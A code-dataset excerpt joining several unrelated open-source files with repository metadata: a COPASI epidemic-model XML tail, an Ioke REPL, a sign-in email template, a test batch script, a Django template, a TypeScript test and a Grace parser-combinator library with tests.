<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[1],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="UCH (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[2],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="UCH (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[2],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
</ListOfPlots>
<GUI>
</GUI>
<SBMLReference file="SIDARTHE.xml">
<SBMLMap SBMLid="A" COPASIkey="Metabolite_12"/>
<SBMLMap SBMLid="CFR" COPASIkey="ModelValue_84"/>
<SBMLMap SBMLid="D" COPASIkey="Metabolite_11"/>
<SBMLMap SBMLid="DRT" COPASIkey="ModelValue_73"/>
<SBMLMap SBMLid="Diagn_cumul_infected" COPASIkey="ModelValue_77"/>
<SBMLMap SBMLid="E" COPASIkey="Metabolite_15"/>
<SBMLMap SBMLid="H" COPASIkey="Metabolite_16"/>
<SBMLMap SBMLid="I" COPASIkey="Metabolite_9"/>
<SBMLMap SBMLid="IDART" COPASIkey="ModelValue_75"/>
<SBMLMap SBMLid="IDARTHE" COPASIkey="ModelValue_74"/>
<SBMLMap SBMLid="Perceived_CFR" COPASIkey="ModelValue_83"/>
<SBMLMap SBMLid="R" COPASIkey="Metabolite_13"/>
<SBMLMap SBMLid="R0" COPASIkey="ModelValue_85"/>
<SBMLMap SBMLid="Recovered" COPASIkey="ModelValue_76"/>
<SBMLMap SBMLid="S" COPASIkey="Metabolite_10"/>
<SBMLMap SBMLid="T" COPASIkey="Metabolite_14"/>
<SBMLMap SBMLid="alpha" COPASIkey="ModelValue_57"/>
<SBMLMap SBMLid="beta" COPASIkey="ModelValue_58"/>
<SBMLMap SBMLid="compartment" COPASIkey="Compartment_1"/>
<SBMLMap SBMLid="contagion_A" COPASIkey="Reaction_22"/>
<SBMLMap SBMLid="contagion_D" COPASIkey="Reaction_21"/>
<SBMLMap SBMLid="contagion_I" COPASIkey="Reaction_20"/>
<SBMLMap SBMLid="contagion_R" COPASIkey="Reaction_23"/>
<SBMLMap SBMLid="critical_A" COPASIkey="Reaction_28"/>
<SBMLMap SBMLid="critical_R" COPASIkey="Reaction_29"/>
<SBMLMap SBMLid="death" COPASIkey="Reaction_30"/>
<SBMLMap SBMLid="delta" COPASIkey="ModelValue_60"/>
<SBMLMap SBMLid="diagnosis_A" COPASIkey="Reaction_27"/>
<SBMLMap SBMLid="diagnosis_I" COPASIkey="Reaction_24"/>
<SBMLMap SBMLid="epsilon" COPASIkey="ModelValue_61"/>
<SBMLMap SBMLid="eta" COPASIkey="ModelValue_63"/>
<SBMLMap SBMLid="gamma" COPASIkey="ModelValue_59"/>
<SBMLMap SBMLid="healing_A" COPASIkey="Reaction_33"/>
<SBMLMap SBMLid="healing_D" COPASIkey="Reaction_32"/>
<SBMLMap SBMLid="healing_I" COPASIkey="Reaction_31"/>
<SBMLMap SBMLid="healing_R" COPASIkey="Reaction_34"/>
<SBMLMap SBMLid="healing_T" COPASIkey="Reaction_35"/>
<SBMLMap SBMLid="kappa" COPASIkey="ModelValue_65"/>
<SBMLMap SBMLid="lambda" COPASIkey="ModelValue_66"/>
<SBMLMap SBMLid="mu" COPASIkey="ModelValue_67"/>
<SBMLMap SBMLid="nu" COPASIkey="ModelValue_68"/>
<SBMLMap SBMLid="r1" COPASIkey="ModelValue_78"/>
<SBMLMap SBMLid="r2" COPASIkey="ModelValue_79"/>
<SBMLMap SBMLid="r3" COPASIkey="ModelValue_80"/>
<SBMLMap SBMLid="r4" COPASIkey="ModelValue_81"/>
<SBMLMap SBMLid="r5" COPASIkey="ModelValue_82"/>
<SBMLMap SBMLid="rho" COPASIkey="ModelValue_70"/>
<SBMLMap SBMLid="sigma" COPASIkey="ModelValue_71"/>
<SBMLMap SBMLid="symptoms_D" COPASIkey="Reaction_26"/>
<SBMLMap SBMLid="symptoms_I" COPASIkey="Reaction_25"/>
<SBMLMap SBMLid="tau" COPASIkey="ModelValue_72"/>
<SBMLMap SBMLid="theta" COPASIkey="ModelValue_64"/>
<SBMLMap SBMLid="xi" COPASIkey="ModelValue_69"/>
<SBMLMap SBMLid="zeta" COPASIkey="ModelValue_62"/>
</SBMLReference>
<ListOfUnitDefinitions>
<UnitDefinition key="Unit_5" name="second" symbol="s">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_4">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T11:42:12Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
s
</Expression>
</UnitDefinition>
<UnitDefinition key="Unit_15" name="dimensionless" symbol="1">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_14">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T11:42:12Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
1
</Expression>
</UnitDefinition>
<UnitDefinition key="Unit_17" name="item" symbol="#">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T11:42:12Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
#
</Expression>
</UnitDefinition>
<UnitDefinition key="Unit_69" name="day" symbol="d">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_68">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T11:42:12Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
86400*s
</Expression>
</UnitDefinition>
</ListOfUnitDefinitions>
</COPASI>
| Component Pascal | 5 | pmendes/COVID19 | Models/Hartford/SIDARTHE-CT-Hartford_Model6-50.cps | [
"MIT"
] |
IIk = Origin mimic do(
Exit = Condition mimic
mainContext = Origin mimic do(
exit = method(signal!(IIk Exit))
abort = method(invokeRestart(:abort))
aliasMethod("exit", "quit"))
out = System out
err = System err
in = System in
Nesting = Origin mimic do(
RegularState = Origin mimic do(
open = 0
next = method(text, nestStack, regular,
IIk Nesting AvailableStates some(matchAgainst(text, nestStack, regular))
)
matchAgainst = method(text, ignored, regular,
(text[1..-1], regular)
)
)
RecursiveRegularState = RegularState mimic do(
next = method(text, nestStack, regular,
if(text[0..0] == "}" && nestSize == nestStack length,
nestStack rap(pop!, pop!)
(text[1..-1], outer),
IIk Nesting AvailableStates some(matchAgainst(text, nestStack, self))))
)
DelimitedState = Origin mimic do(
open = 1
escaped? = false
startLength = 1
next = method(text, nestStack, regular,
rest = text[1..-1]
case(text,
#/\A\\/, (rest, with(escaped?: !escaped?)),
#/\A\#\{/,
if(!escaped?,
nn = IIk Nesting RecursiveRegularState with(outer: self, nestSize: nestStack size + 2)
nestStack rap(push!(self), push!(nn))
(text[2..-1], nn),
(rest, with(escaped?: !escaped?))),
#/\A#{end}/, if(!escaped?, (rest, regular), (rest, with(escaped?: !escaped?))),
else, if(escaped?, (rest, with(escaped?: !escaped?)), (rest, self)))
)
matchAgainst = method(text, ignored, regular,
if(#/\A#{start}/ =~ text, (text[(startLength)..-1], self))
)
)
TextState = DelimitedState with(start: #["], end: #["])
AltTextState = DelimitedState with(start: #/\#\[/, end: "]", startLength: 2)
RegexpState = DelimitedState with(start: #/\#\//, end: "/", startLength: 2)
AltRegexpState = DelimitedState with(start: #/\#r\[/, end: "]", startLength: 3)
DelimitedMarker = Origin mimic do(
startLength = 1
matchAgainst = method(text, nestStack, regular,
(case(text,
#/\A#{start}/, nestStack push!(self). text[(startLength)..-1],
#/\A#{end}/, nestStack pop!. text[1..-1],
else, return nil
), regular)
)
)
ParenthesisMarker = DelimitedMarker with(start: #/\(/, end: #/\)/)
ListMarker = DelimitedMarker with(start: #/\[/, end: #/\]/)
DictMarker = DelimitedMarker with(start: #/\{/, end: "}")
SetMarker = DelimitedMarker with(start: #/\#\{/, end: "}", startLength: 2)
AvailableStates = [ParenthesisMarker, ListMarker, DictMarker, SetMarker, TextState, AltTextState, RegexpState, AltRegexpState, RegularState]
anyOpen? = method(openCount > 0)
openCount = method(
nestStack = []
currentState = RegularState
textLeft = data
while(!textLeft empty?,
(textLeft, currentState) = currentState next(textLeft, nestStack, RegularState)
)
nestStack length + currentState open
)
)
nested? = method(data,
Nesting with(data: data) anyOpen?
)
nesting = method(data,
Nesting with(data: data) openCount
)
mainLoop = method(
"Runs the main loop of IIk, continously reading input from 'System in' until the interpreter is quitted in some of the standard ways",
io = if(IIk cell?(:ReadlineInputMethod),
ReadlineInputMethod new,
StdioInputMethod new)
System currentDebugger = IokeDebugger with(io: io, out: out)
FileSystem["~/.iikrc"] each(x, use(x))
if(io mimics?(ReadlineInputMethod),
FileSystem["~/.iikhistory"] each(x,
h = io HISTORY
FileSystem readFully(x) split("\n") map(replaceAll("\r", "")) each(val,
h << val)
))
bind(
rescue(IIk Exit, fn(c, out println("Bye."))),
restart(quit, fn()),
loop(
bind(
restart(abort, fn()),
data = io gets
n = nesting(data)
while(n > 0,
data += io gets(" " * n)
n = nesting(data)
)
FileSystem withOpenFile("~/.iikhistory", fn(f,
unless(data empty?, f print(data))))
if(!data || (io eof?), invokeRestart(:quit))
out println("+> #{Message fromText(data) evaluateOn(mainContext) inspect}")
out println)))))
use("builtin/iik/inputMethod")
bind(
rescue(Condition Error Load, fn(ignored, nil)),
use("debugger"))
System ifMain(IIk mainLoop)
| Ioke | 3 | olabini/ioke | src/builtin/iik.ik | [
"ICU",
"MIT"
] |
<%= greeting(@person) %>
You requested a magic sign-in link. Here you go:
<%= render("_sign_in_link.text", assigns) %>
💚, Logbot
| HTML+EEX | 2 | gustavoarmoa/changelog.com | lib/changelog_web/templates/email/sign_in.text.eex | [
"MIT"
] |
@echo off
rem Run the console feature tests.
rem Keep this file in sync with tests.xml
call %TAEF% ^
%OPENCON%\bin\%ARCH%\%_LAST_BUILD_CONF%\ConHost.Feature.Tests.dll ^
%*
| Batchfile | 3 | hessedoneen/terminal | tools/runft.cmd | [
"MIT"
] |
{% load i18n %}
<h2>{% translate "Summary" %}</h2>
<ul>
{% for model_name, object_count in model_count %}
<li>{{ model_name|capfirst }}: {{ object_count }}</li>
{% endfor %}
</ul>
| HTML | 4 | jpmallarino/django | django/contrib/admin/templates/admin/includes/object_delete_summary.html | [
"BSD-3-Clause",
"0BSD"
] |
const { x } = {
...{},
x: 0
};
const { y } = {
y: 0,
...{}
};
const { z, a, b } = {
z: 0,
...{ a: 0, b: 0 }
};
const { c, d, e, f, g } = {
...{
...{
...{
c: 0,
},
d: 0
},
e: 0
},
f: 0
};
| TypeScript | 3 | monciego/TypeScript | tests/cases/conformance/es6/destructuring/destructuringSpread.ts | [
"Apache-2.0"
] |
//SUPER-EVIL GLOBAL VARIABLE Courtesy of MR CHARLES WEIR
var currentIndentation := 0
// type Object = { }
////////////////////////////////////////////////////////////
type InputStream = {
take( _ ) -> String
rest ( _ ) -> InputStream
atEnd -> Boolean
indentation -> Number
}
class stringInputStream(string : String, position' : Number) {
def brand = "stringInputStrea"
def position : Number is readable = position'
method take(n : Number) -> String {
var result := ""
var endPosition := position + n - 1
if (endPosition > string.size) then {endPosition := string.size}
for (position .. endPosition) do { i : Number ->
result := result ++ string.at(i)
}
return result
}
method rest(n : Number) {
if ((n + position) <= (string.size + 1))
then {return stringInputStream(string, position + n)}
else {
Error.raise("FATAL ERROR END OF INPUT at {position} take {n}")
}
}
method atEnd {return position > string.size}
method indentation {
var cursor := position - 1
while {(cursor > 0).andAlso {string.at(cursor) != "\n"}}
do {cursor := cursor - 1}
// now cursor is the char before the first in the line.
cursor := cursor + 1
var result := 0
while {((cursor + result) <= string.size).andAlso {string.at(cursor + result) == " "}}
do {result := result + 1}
if ((cursor + result) > string.size) then {return 0} // lots of spaces then end
return result
}
}
////////////////////////////////////////////////////////////
// parse results
type ParseSuccessType = {
brand -> String
next -> InputStream
result -> String
succeeded -> Boolean
resultUnlessFailed( _ ) -> ParseResult
}
type ParseFailureType = {
brand -> String
message -> String
succeded -> Boolean
resultUnlessFailed( _ ) -> ParseResult
}
//type ParseResult = (ParseSuccessType | ParseFailureType)
type ParseResult = ParseFailureType
class parseSuccess(next', result') {
def brand = "parseSuccess"
def next is public = next'
def result is public = result'
method succeeded { return true }
method resultUnlessFailed (failBlock : Block) {
return self
}
}
class parseFailure(message') {
def brand = "parseFailure"
def message is public = message'
method succeeded { return false }
method resultUnlessFailed (failBlock : Block) {
return failBlock.apply(self)
}
}
////////////////////////////////////////////////////////////
// parsers
class abstractParser {
def brand = "abstractParser"
method parse(in) { }
method ~(other) {sequentialParser(self,other)}
method |(other) {alternativeParser(self,other)}
}
type Parser = {
parse(_ : InputStream) -> ParseResult
~(_ : Parser) -> Parser
|(_ : Parser) -> Parser
}
// parse just a token - basically a string, matching exactly
class tokenParser(tken) {
inherit abstractParser
def brand = "tokenParser"
method parse(in) {
def size = tken.size
if (in.take(size) == tken) then {
return parseSuccess(in.rest(size), "{in.take(size)}" )
} else {
return parseFailure(
"expected {tken} got {in.take(size)} at {in.position}")
}
}
}
// get at least one whitespace
class whiteSpaceParser {
inherit abstractParser
def brand = "whiteSpaceParser"
method parse(in) {
var current := in
while {(current.take(1) == " ") || (current.take(2) == "\\")} do {
while {current.take(1) == " "}
do {current := current.rest(1)}
if (current.take(2) == "//")
then {
current := current.rest(2)
while {current.take(1) != "\n"}
do {current := current.rest(1)}
current := current.take(1)
}
}
if (current != in) then {
return parseSuccess(current, " ")
} else {
return parseFailure(
"expected w/s got {in.take(5)} at {in.position}")
}
}
}
// parser single character from set of acceptable characters (given as a string)
class characterSetParser(charSet) {
inherit abstractParser
def brand = "characterSetParser"
method parse(in) {
def current = in.take(1)
for (charSet) do { c ->
if (c == current) then {
return parseSuccess(in.rest(1), current ) }
}
return parseFailure(
"expected \"{charSet}\" got {current} at {in.position}")
}
}
//does *not* eat whitespace!
class graceIdentifierParser {
inherit abstractParser
def brand = "graceIdentifierParser"
method parse(in) {
if (in.take(1) == "_") then {
return parseSuccess(in.rest(1), "_")
}
var current := in
if (! isletter(in.take(1))) then {
return parseFailure(
"expected GraceIdentifier got {in.take(5)}... at {in.position}")
}
var char := current.take(1)
var id := ""
// print "char: <{char}> current.atEnd <{current.atEnd}>"
while {(!current.atEnd).andAlso {isletter(char) || isdigit(char) || (char == "'")}}
do {
id := id ++ char
current := current.rest(1)
char := current.take(1)
// print "chlr: <{char}> current.atEnd <{current.atEnd}>"
}
return parseSuccess(current, id)
}
}
// dunno why this is here?
class digitStringParser {
inherit abstractParser
def brand = "digitStringParser"
method parse(in) {
var current := in
var char := current.take(1)
var id := ""
if (char == "-") then {
id := "-"
current := in.rest(1)
char := current.take(1)
}
if (! (isdigit(char))) then {
return parseFailure(
"expected DigitString got {in.take(5)}... at {in.position}")
}
while {isdigit(char)}
do {
id := id ++ char
current := current.rest(1)
char := current.take(1)
}
return parseSuccess(current, id)
}
}
class sequentialParser(left, right) {
inherit abstractParser
def brand = "sequentialParser"
method parse(in) {
def leftResult = left.parse(in)
.resultUnlessFailed {f -> return f}
def rightResult = right.parse(leftResult.next)
.resultUnlessFailed {f -> return f}
return parseSuccess(rightResult.next,
leftResult.result ++ rightResult.result)
}
}
class optionalParser(subParser) {
inherit abstractParser
def brand = "optionalParser"
method parse(in) {
return (subParser.parse(in)
.resultUnlessFailed {f ->
return parseSuccess(in, "")})
}
}
//match as if SubParser, discard the result
class dropParser(subParser) {
inherit abstractParser
def brand = "dropParser"
method parse(in) {
def subRes = subParser.parse(in)
.resultUnlessFailed {f -> return f}
return parseSuccess(subRes.next, "")
}
}
class alternativeParser(left, right) {
inherit abstractParser
def brand = "alternativeParser"
method parse(in) {
def leftResult = left.parse(in)
if (leftResult.succeeded) then {
return leftResult }
return right.parse(in)
}
}
//succeeds if both left & right succeed; returns LEFT parse
//e.g. both(identifier,not(reservedIdentifiers)) -- except that's wrong!
class bothParser(left, right) {
inherit abstractParser
def brand = "bothParser"
method parse(in) {
def leftResult = left.parse(in)
if (!leftResult.succeeded) then {return leftResult}
def rightResult = right.parse(in)
if (!rightResult.succeeded) then {return rightResult}
return leftResult
}
}
class repetitionParser(subParser) {
inherit abstractParser
def brand = "repetitionParser"
method parse(in) {
var current := in
var res := subParser.parse(in)
var id := ""
while {res.succeeded}
do {
id := id ++ res.result
current := res.next
res := subParser.parse(current)
}
return parseSuccess(current, id)
}
}
class proxyParser(proxyBlock) {
inherit abstractParser
def brand = "proxyParser"
var subParser := "no parser installed"
var needToInitialiseSubParser := true
method parse(in) {
if (needToInitialiseSubParser) then {
subParser := proxyBlock.apply
needToInitialiseSubParser := false
}
def previousIndentation = currentIndentation
currentIndentation := in.indentation
var result
// if (currentIndentation < previousIndentation) then {
// print ("??Bad Indentation?? at {in.position}, wanted {previousIndentation} got {currentIndentation}")
// result := parseFailure("Bad Indentation, wanted {previousIndentation} got {currentIndentation}")
// } else {
result := subParser.parse(in)
// }
currentIndentation := previousIndentation
return result
}
}
class wrappingProxyParser(proxyBlock, string) {
inherit abstractParser
def brand = "wrappingProxyParser"
var subParser := "no parser installed"
var needToInitialiseSubParser := true
method parse(in) {
if (needToInitialiseSubParser) then {
subParser := proxyBlock.apply
needToInitialiseSubParser := false
}
def result = subParser.parse(in)
if (!result.succeeded) then {return result}
return parseSuccess(result.next, "[{string}{result.result}]")
}
}
// get at least one whitespace
class atEndParser {
inherit abstractParser
def brand = "atEndParser"
method parse(in) {
if (in.atEnd) then {
return parseSuccess(in, "")
} else {
return parseFailure(
"expected end got {in.take(5)} at {in.position}")
}
}
}
// succeeds when subparser fails; never consumes input if succeeds
class notParser(subParser) {
inherit abstractParser
def brand = "notParser"
method parse(in) {
def result = subParser.parse(in)
if (result.succeeded)
then {return parseFailure("Not Parser - subParser succeeded so I failed")}
else {return parseSuccess(in,"")}
}
}
class guardParser(subParser, guardBlock) {
inherit abstractParser
def brand = "guardParser"
method parse(in) {
def result = subParser.parse(in)
if (!result.succeeded) then {return result}
if (guardBlock.apply(result.result)) then {return result}
return parseFailure("Guard failure at {in.position}")
}
}
class successParser {
inherit abstractParser
def brand = "successParser"
method parse(in) {return parseSuccess(in,"!!success!!")}
}
// puts tag into output
class tagParser(tagx : String) {
inherit abstractParser
def brand = "tagParser"
method parse(in) {return parseSuccess(in, tagx)}
}
// puts tagx around start and end of parse
class phraseParser(tagx: String, subParser) {
inherit abstractParser
def brand = "phraseParser"
method parse(in) {
def result = subParser.parse(in)
if (!result.succeeded) then {return result}
return parseSuccess(result.next,
"<" ++ tagx ++ " " ++ result.result ++ " " ++ tagx ++ ">" )
}
}
class indentationAssertionParser(indent : Number) {
inherit abstractParser
def brand = "indentationAssertionParser"
method parse(in) {
if (in.indentation == indent)
then {return parseSuccess(in,"")}
else { print "***Asserted indent=={indent}, actual indentation=={in.indentation}"
return parseFailure "Asserted indent=={indent}, actual indentation=={in.indentation}"}
}
}
class lineBreakParser(direction) {
inherit abstractParser
def brand = "lineBreakParser"
method parse(in) {
if (in.take(1) != "\n")
then {return parseFailure "looking for a LineBreak-{direction}, got \"{in.take(1)}\" at {in.position}"}
def rest = in.rest(1)
def actualDirection =
if (rest.atEnd) then { "left" }
elseif {rest.indentation < currentIndentation} then { "left" }
elseif {rest.indentation == currentIndentation} then { "same" }
elseif {rest.indentation > currentIndentation} then { "right" }
else {Error.raise "Tricotomy failure"}
match (actualDirection)
case { _ : direction -> return parseSuccess(in.rest(1), "<<{direction}>>\n" ) }
case { _ -> return parseFailure "looking for a LineBreak-{direction}, got {actualDirection} at {in.position}"
}
Error.raise "Shouldn't happen"
}
}
////////////////////////////////////////////////////////////
// "support library methods"
method assert (assertion : Block) complaint (name : String) {
if (!assertion.apply)
then {print "ASSERTION FAILURE"}
}
method isletter(c) -> Boolean {
// print "callxd isletter({c})"
if (c.size == 0) then {return false} //is bad. is a hack. works.
if (c.size != 1) then {print "isletter string {c} too long"}
// assert {c.size == 1} complaint "isletter string too long"
return (((c >= "A") && (c <= "Z"))
|| ((c >= "a") && (c <= "z")))
}
method isdigit(c) -> Boolean {
// print "callxd isdigit({c})"
// assert {c.size == 1} complaint "isdigit string too long"
if (c.size == 0) then {return false} //is bad. is a hack. works.
return ((c >= "0") && (c <= "9"))
}
////////////////////////////////////////////////////////////
// combinator functions - many of these should be methods
// on parser but I got sick of copying everything!
method dyn(d : Unknown) -> Unknown {return d}
def ws = rep1((whiteSpaceParser) | lineBreak("right"))
method opt(p : Parser) {optionalParser(p)}
method rep(p : Parser) {repetitionParser(p)}
method rep1(p : Parser) {p ~ repetitionParser(p)}
method drop(p : Parser) {dropParser(p)}
method trim(p : Parser) {drop(opt(ws)) ~ p ~ drop(opt(ws))}
method token(s : String) {tokenParser(s)}
//method symbol(s : String) {trim(token(s))}
method symbol(s : String) {token(s) ~ drop(opt(ws))} // changed to token with following space?
method rep1sep(p : Parser, q : Parser) {p ~ rep(q ~ p)}
method repsep(p : Parser, q : Parser) {opt( rep1sep(p,q))}
method repdel(p : Parser, q : Parser) {repsep(p,q) ~ opt(q)}
method rule(proxyBlock : Block) {proxyParser(proxyBlock)}
//method rule(proxyBlock : Block) wrap(s : String) {wrappingProxyParser(proxyBlock,s)}
method rule(proxyBlock : Block) wrap(s : String) {proxyParser(proxyBlock,s)}
def end = atEndParser
method not(p : Parser) {notParser(p)}
method both(p : Parser, q : Parser) {bothParser(p,q)}
method empty {successParser}
method guard(p : Parser, b : Block) {guardParser(p, b)}
method tag(s : String) {tagParser(s)}
method phrase(s : String, p : Parser) { phraseParser(s, p) }
method indentAssert(i : Number) {indentationAssertionParser(i) }
method lineBreak(direction) {lineBreakParser(direction)}
method parse (s : String) with (p : Parser) {
p.parse(stringInputStream(s,1)).succeeded
}
////////////////////////////////////////////////////////////
// "tests"
print("start")
var passedTests := 0
var failedTests := 0
def printPassedTests = false
method test (block : Block, result : Object, comment : String) {
def rv = block.apply
if (rv == result)
then {if (printPassedTests) then {print ("------: " ++ comment)} else {print "."}}
else {if (!printPassedTests) then {print ""}
print ("FAILED: " ++ comment)}
}
method test(block : Block) expecting(result : Object) comment(comment : String) {
test(block,result,comment)
}
// method test (block : Block, result : Object, comment : String) {
// def rv = block.apply
// if (rv == result)
// then {print ("------: " ++ comment)}
// else {print ("FAILED: " ++ comment)}
// }
method test(parser : Parser) on(s : String) correctly(comment : String) {
def res = parser.parse(stringInputStream(s,1))
if (res.succeeded)
then {if (printPassedTests) then {print ("------: " ++ comment ++ " " ++ res.result)} else {print "."}}
else {if (!printPassedTests) then {print ""}
print ("FAILED: " ++ comment ++ " " ++ s)}
}
method test(parser : Parser) on(s : String) wrongly(comment : String) {
def rv = parser.parse(stringInputStream(s,1)).succeeded
if (!rv)
then {if (printPassedTests) then {print ("------: " ++ comment ++ " " ++ s)} else {print "."}}
else {if (!printPassedTests) then {print ""}
print ("FAILED: " ++ comment ++ " " ++ s)}
}
method testProgramOn(s : String) correctly(comment : String) {
test(program) on(s) correctly(comment)
}
method testProgramOn(s : String) wrongly(comment : String) {
test(program) on(s) wrongly(comment)
}
def strm = stringInputStream("Hello World",1)
def strm2 = stringInputStream(" Hello World",1)
def strmus = stringInputStream("_",1)
def strmab = stringInputStream("abc4de'a123",1)
def strmas = stringInputStream("a bcb", 1)
def strmnn = stringInputStream("1234 ",1)
def strmnx = stringInputStream("1234",1)
def strmxx = stringInputStream("xxxxx",1)
def strmxc = stringInputStream("xcxcxf",1)
def strmcx = stringInputStream("xcxcf",1)
def strmx = stringInputStream("xf",1)
def strmxcx = stringInputStream("xcxf",1)
//index 123 45678 90123
//indent 111 22222 0000"
def indentStx = " 11\n 22\nnone"
currentIndentation := 0
test { stringInputStream(indentStx, 1 ).indentation } expecting (1) comment "ix indent at start of line"
test { stringInputStream(indentStx, 3 ).indentation } expecting (1) comment "Indentation 2"
test { stringInputStream(indentStx, 4 ).indentation } expecting (1) comment "ix EOL belongs to previous line"
test { stringInputStream(indentStx, 5 ).indentation } expecting (2) comment "Indentation 5"
test { stringInputStream(indentStx, 10 ).indentation } expecting (0) comment "Indentation 10"
test { stringInputStream(indentStx, 7 ).indentation } expecting (2) comment "Indentation 1"
test { stringInputStream(indentStx, indentStx.size + 1 ).indentation } expecting (0) comment "Indentation Line end"
test { stringInputStream(indentStx, indentStx.size + 1 ).indentation } expecting (0) comment "Indentation Line end"
test { stringInputStream("print(1)", 3 ).indentation } expecting (0) comment "print(0)"
currentIndentation := 0
test { lineBreak("left").parse(stringInputStream(indentStx, 1)).succeeded } expecting (false) comment "cnl1"
test { lineBreak("left").parse(stringInputStream(indentStx, 2)).succeeded } expecting (false) comment "cnl2"
test { lineBreak("left").parse(stringInputStream(indentStx, 4)).succeeded } expecting (false) comment "cnl4"
test { lineBreak("left").parse(stringInputStream(indentStx, 5)).succeeded } expecting (false) comment "cnl5"
test { lineBreak("left").parse(stringInputStream(indentStx, 7)).succeeded } expecting (false) comment "cnl7"
test { lineBreak("left").parse(stringInputStream(indentStx, 9)).succeeded } expecting (false) comment "cnl9"
test { lineBreak("left").parse(stringInputStream(indentStx, 10)).succeeded } expecting (false) comment "cnl10"
currentIndentation := 1
test { lineBreak("left").parse(stringInputStream(indentStx, 4)).succeeded } expecting (false) comment "cnl4-1"
test { lineBreak("left").parse(stringInputStream(indentStx, 9)).succeeded } expecting (true) comment "cnl9-1"
currentIndentation := 2
test { lineBreak("left").parse(stringInputStream(indentStx, 4)).succeeded } expecting (false) comment "cnl4-2"
test { lineBreak("left").parse(stringInputStream(indentStx, 9)).succeeded } expecting (true) comment "cnl9-2"
currentIndentation := 0
test { lineBreak("right").parse(stringInputStream(indentStx, 4)).succeeded } expecting (true) comment "cnl4-3"
test { lineBreak("right").parse(stringInputStream(indentStx, 9)).succeeded } expecting (false) comment "cnl9-3"
currentIndentation := 1
test { lineBreak("right").parse(stringInputStream(indentStx, 4)).succeeded } expecting (true) comment "cnl4-4"
test { lineBreak("right").parse(stringInputStream(indentStx, 9)).succeeded } expecting (false) comment "cnl9-4"
currentIndentation := 2
test { lineBreak("right").parse(stringInputStream(indentStx, 4)).succeeded } expecting (false) comment "cnl4-5"
test { lineBreak("right").parse(stringInputStream(indentStx, 9)).succeeded } expecting (false) comment "cnl9-5"
currentIndentation := 0
test { lineBreak("same").parse(stringInputStream(indentStx, 4)).succeeded } expecting (false) comment "cnl4-6"
test { lineBreak("same").parse(stringInputStream(indentStx, 9)).succeeded } expecting (true) comment "cnl9-6"
currentIndentation := 1
test { lineBreak("same").parse(stringInputStream(indentStx, 4)).succeeded } expecting (false) comment "cnl4-7"
test { lineBreak("same").parse(stringInputStream(indentStx, 9)).succeeded } expecting (false) comment "cnl9-7"
currentIndentation := 2
test { lineBreak("same").parse(stringInputStream(indentStx, 4)).succeeded } expecting (true) comment "cnl4-8"
